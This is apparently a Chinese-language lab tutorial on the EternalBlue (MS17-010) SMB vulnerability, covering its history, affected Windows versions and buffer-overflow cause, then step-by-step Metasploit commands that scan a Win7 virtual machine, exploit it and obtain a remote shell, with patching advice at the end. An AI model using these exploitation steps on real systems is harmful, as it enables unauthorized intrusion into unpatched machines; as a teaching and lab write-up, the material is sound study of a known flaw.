目录
补充:反向连接(reverse_ tcp)与正向连接(bind_ tcp)
声明
此篇文章仅用于研究与学习,请勿在未授权的情况下进行攻击。
一、漏洞介绍
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
二、SMB介绍
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
三、影响版本
目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
四、漏洞原理
永恒之蓝是在Windows的SMB服务处理SMBv1请求时发生的漏洞,这个漏洞会导致攻击者在目标系统上可以执行任意代码。而在Windows操作系统中,SMB服务默认是开启的,监听端口默认为445,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。
永恒之蓝属于缓冲区溢出漏洞
缓冲区溢出原理:
缓冲区是内存中存放数据的地方。在程序试图将数据放到机器内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。而人为的溢出则是有一定企图的,攻击者写一个超过缓冲区长度的字符串,然后植入到缓冲区,而再向一个有限空间的缓冲区中植入超长的字符串可能会出现两个结果,一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另有一个结果就是利用这种漏洞可以跳转执行任意指令,甚至可以取得系统root特级权限。大多造成缓冲区溢出的原因是程序中没有仔细检查用户输入参数而造成的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。
五、漏洞利用
本漏洞需要用到kali自带的Metasploit渗透工具
六、环境搭建
win7虚拟机(靶机)
kali虚拟机(攻击机)
要求:win7虚拟机不要开防火墙,开放445端口,没有打永恒之蓝的补丁
七、漏洞复现
1、首先对靶机进行端口扫描看看是否开启了445端口
扫描命令:
nmap 192.168.16.133
(192.168.16.133为靶机的ip)
2、启动kali上的metasploit
直接在终端上输入msfconsole命令
msfconsole
出现msf6即代表启动成功
3、查看ms17-010相关模块
输出命令:
search ms17-010
这里可以看见几个工具,我们一般用3和0模块,其中:
auxiliary/scanner/smb/smb_ms17_010 是永恒之蓝的扫描模块
exploit/windows/smb/ms17_010_eternalblue 是永恒之蓝的攻击模块
一般配合使用,前者先扫描,若显示有漏洞,再进行攻击。
4、使用ms17-010扫描模块对靶机进行扫描
使用模块3然后查看相关参数,再设置要攻击ip的地址,最后run一下
相关命令:
use 3
show options
set RHOSTS 192.168.16.133 (攻击目标的ip)
run
如果出现以上情况,就说明永恒之蓝漏洞存在。
5、使用ms17-010攻击模块对靶机进行攻击
输入search ms17-010回到第三步操作
攻击模块和扫描模块类似,首先用的模块0,然后查看相关参数再设置要攻击ip的地址,最后run一下。
相关命令:
use 0
show options
set RHOSTS 192.168.16.133 (攻击目标的ip)
run
这个攻击利用的就是缓冲区的溢出来实现的,当出现以下情况,就说明攻击已经成功了。
输入shell,就会拿到目标机的shell 。
6、输入其他命令控制目标机
在这里我们就简单的输入ipconfig查看一下ip
补充:反向连接(reverse_ tcp)与正向连接(bind_ tcp)
reverse_ tcp:攻击机设置一个端口(LPORT) 和IP (LHOST) ,Payload在目标机执行连接攻击机IP的端口,这时如果在攻击机监听该端口会发现目标机已经连接。
反向链接是目标机连接攻击机,而攻击机连接不到目标机。
bind_ tcp:攻击机设置一个端口(LPORT) ,Payload在目标机执行打开该端口,以便攻击机可以接入。
正向连接是攻击机连接目标机,而目标机连接不到攻击机。
八、漏洞修复
打永恒之蓝补丁即可修复漏洞,或者关闭445端口。